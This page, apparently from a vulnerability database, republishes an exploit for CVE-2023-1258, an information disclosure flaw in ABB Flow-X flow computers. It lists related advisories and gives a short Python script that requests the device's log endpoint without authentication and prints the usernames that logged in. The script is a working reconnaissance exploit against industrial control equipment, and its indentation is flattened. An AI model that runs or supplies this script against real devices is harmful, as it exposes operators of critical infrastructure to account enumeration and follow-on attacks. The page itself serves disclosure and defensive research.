Lucene search
+L

ABB FlowX 4.00 Information Disclosure

🗓️ 20 Jul 2023 00:00:00Reported by Paul SmithType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 283 Views

ABB FlowX v4.00 Information Disclosur

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
ABB FlowX v4.00 - Exposure of Sensitive Information Exploit
19 Jul 202300:00
–zdt
bdu_fstec
BDU FSTEC
Flow-X gas consumption controller web service Information Disclosure
3 Dec 202400:00
–bdu_fstec
circl
Circl
CVE-2023-1258
31 Mar 202312:22
–circl
cnnvd
CNNVD
ABB Flow-X information leakage vulnerability
31 Mar 202300:00
–cnnvd
cve
CVE
CVE-2023-1258
31 Mar 202307:56
–cve
cvelist
Cvelist
CVE-2023-1258 Flow-X disclosure of sensitive information to unauthenticated users
31 Mar 202307:56
–cvelist
exploitdb
Exploit DB
ABB FlowX v4.00 - Exposure of Sensitive Information
19 Jul 202300:00
–exploitdb
euvd
EUVD
EUVD-2023-23527
3 Oct 202520:07
–euvd
nvd
NVD
CVE-2023-1258
31 Mar 202308:15
–nvd
osv_cve
osv_cve
CVE-2023-1258
31 Mar 202308:15
–osv_cve
Rows per page
`# Exploit Title: ABB FlowX v4.00 - Exposure of Sensitive Information  
# Date: 2023-03-31  
# Exploit Author: Paul Smith  
# Vendor Homepage: https://new.abb.com/products/measurement-products/flow-computers/spirit-it-flow-x-series  
# Version: ABB Flow-X all versions before V4.00  
# Tested on: Kali Linux  
# CVE: CVE-2023-1258  
  
  
#!/usr/bin/python  
import sys  
import re  
from bs4 import BeautifulSoup as BS  
import lxml  
import requests  
  
# Set the request parameter  
url = sys.argv[1]  
  
  
def dump_users():  
response = requests.get(url)  
  
# Check for HTTP codes other than 200  
if response.status_code != 200:  
print('Status:', response.status_code, 'Headers:', response.headers, 'Error Response:',response.text)  
exit()  
  
# Decode the xml response into dictionary and use the data  
data = response.text  
soup = BS(data, features="xml")  
logs = soup.find_all("log")  
for log in logs:  
test = re.search('User (.*?) logged in',str(log))  
if test:  
print(test.group(0))  
def main():  
dump_users()  
  
  
if __name__ == '__main__':  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jul 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.15.3
EPSS0.0388
SSVC
283